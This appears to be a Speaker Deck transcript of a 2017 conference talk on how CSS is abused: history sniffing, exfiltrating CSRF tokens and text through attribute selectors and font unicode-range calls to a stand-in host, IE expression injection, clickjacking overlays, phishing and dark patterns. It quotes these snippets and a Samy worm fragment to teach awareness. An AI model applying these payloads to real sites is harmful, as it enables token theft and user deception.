Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Speaker Deck
PRO
Sign in
Sign up for free
CSS For Good, Not Evil
Stephen Hay
June 16, 2017
Design
2
960
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
79
The Tail and Its Dog
stephenhay
1
270
From Deception to Clarity
stephenhay
4
480
Sculpting Text
stephenhay
4
630
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
460
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
480
Flexbox: One Giant Leap for Web Layout
stephenhay
6
350
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
870
Flexbox: One Giant Leap for Web Layout
stephenhay
5
140
Other Decks in Design
See All in Design
事業会社で映像をやることの面白さ・メリット等,中途入社だからこそわかったこと
cyberagentdevelopers
PRO
0
450
The Party! - Story Sequence
diablicos_
0
150
Demon Deals Cast
breadman
0
1.1k
UXとUIから知るプロダクトデザイン研修
takumasaito
2
230
「IDOLY PRIDE」における新卒1年目のクリエイティブ
cyberagentdevelopers
PRO
0
510
dnd board
emmamsketches
1
210
ブランドイメージを戦略的に浸透させる VI策定プロセス
sevendex
0
170
Омские улицы — 2022
roudakov
0
200
ユーザー体験を支える_freeeのデザインシステム活用.pdf
fkady
1
1.1k
Forget-me-not
kackington
1
210
Детский парк Фили
zapoimu
0
730
yamanohanabuta logoguideline
misamochimasu
0
200
Featured
See All Featured
Code Review Best Practice
trishagee
44
9.7k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
15
980
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
237
19k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
21
1.4k
Six Lessons from altMBA
skipperchong
14
1.4k
Navigating Team Friction
lara
175
11k
The MySQL Ecosystem @ GitHub 2015
samlambert
239
11k
Fireside Chat
paigeccino
13
1.4k
YesSQL, Process and Tooling at Scale
rocio
157
12k
No one is an island. Learnings from fostering a developers community.
thoeni
9
1.3k
What's in a price? How to price your products and services
michaelherold
229
9.4k
Designing for humans not robots
tammielis
241
24k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens